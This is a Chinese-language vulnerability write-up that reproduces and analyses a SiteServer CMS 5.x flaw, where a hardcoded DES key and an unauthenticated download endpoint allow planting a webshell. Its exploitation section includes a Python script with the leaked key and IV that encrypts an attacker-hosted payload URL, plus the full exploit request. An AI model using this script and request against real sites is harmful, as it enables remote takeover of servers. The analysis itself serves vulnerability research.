Loading

SiteServer CMS 5.x 漏洞复现&分析

0x01 漏洞背景

该漏洞是由于5.x的密钥是硬编码在config文件中,且downloadurl存在未授权访问,导致可以从远程下载压缩包文件并解压到web目录,因此可以通过构造恶意的jsp包打包成的压缩文件进行getshell。

已知漏洞公开链接:

https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell

下载链接:

http://download.siteserver.cn/5.0/siteserver_install.zip

环境:

操作系统: winserver2008
web服务器: iis7.0 
数据库: mssql2005 
.net环境: 4.5+

安装:

Win2008 配置iisweb,将siteserver_install解压后的文件放到web根目录下,访问siteserver路径自动跳转安装

0x02 漏洞利用

原github上的poc的利用,由于github做了一些下载的限制,因此需要重新更换poc的链接。重新进行加解密

image-20210128163359756

该加解密算法的python版本为

from pyDes import *
import base64


iv = "\x12\x34\x56\x78\x90\xAB\xCD\xEF"
key = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"
input_str = "http://192.168.52.2:8000/webshell/poxteam.zip"

#encrypt
k = des(key[0:8], CBC, iv,pad=None, padmode=PAD_PKCS5)
a = k.encrypt(input_str)
c = base64.b64encode(a)
d = c.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")
print d



#decrypt
en = d.replace("0add0","+").replace("0equals0","=" ).replace("0and0","&" ).replace("0question0","?").replace("0slash0","/")
#en  = "ZjYIub/YxA2hc47NUFitAa/c/WMcuk7GQ4+P+eVq1v9u/TV3zrsdlbmZpWolkpKR"
b64en = base64.b64decode(en)
t = k.decrypt(b64en)
print t

生成的加密字符串进行利用,该利用的接口如下,主要更换downloadUrl的值即可

http://192.168.52.8/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2hc47NUFitAa0slash0c0slash0WMcuk7GQ40add0P0add0eVq1v9u0slash0TV3zrsdlbmZpWolkpKR&directoryName=sectest

相应也需要提前部署好对应的下载的压缩包的服务器地址。

http://192.168.52.2:8000/webshell/poxteam.zip

0x03 漏洞分析

根据poc中的地址,先看SiteServer/Ajax/ajaxOtherService.aspx触发点

image-20210128191600997

但在全局中并没有找到相关连的代码,作者在freebuf中直接贴了c#的代码,本人去翻了一遍ajaxBackupService.cs没搜到,最后发现bin目录下有很多dll,借助工具进行逆向,工具地址如下

https://github.com/icsharpcode/ILSpy

image-20210128191826034

将dll拖到工具中进行逆向,定位到ajaxOtherService

image-20210128192005512

根据参数type=SiteTemplateDownload,跟进Page_load方法的SiteTemplateDownload条件中。对url进行解密

image-20210128193944303

解密方法为先替换关键词,接着进行des解密

image-20210128194114841

从一下路径中获取配置文件中的加密的key的值

image-20210128194908769

image-20210128194701114

跟进DesDecrypt方法找出iv的值

image-20210128195137912

最后进行解密后,传入SiteTemplateDownload方法,下载远程压缩文件,解压到固定路径下+传入的路径名。

image-20210128195435754

下载成功后,访问路径的webshell

image-20210128195827638

0x04 参考链接

http://www.zzvips.com/article/108575.html

https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell

http://whitemans.ca/des.html

https://www.cnblogs.com/ichunqiu/p/7562982.html

posted @ 2021-02-06 01:48  0x28  阅读(2975)  评论(0编辑  收藏  举报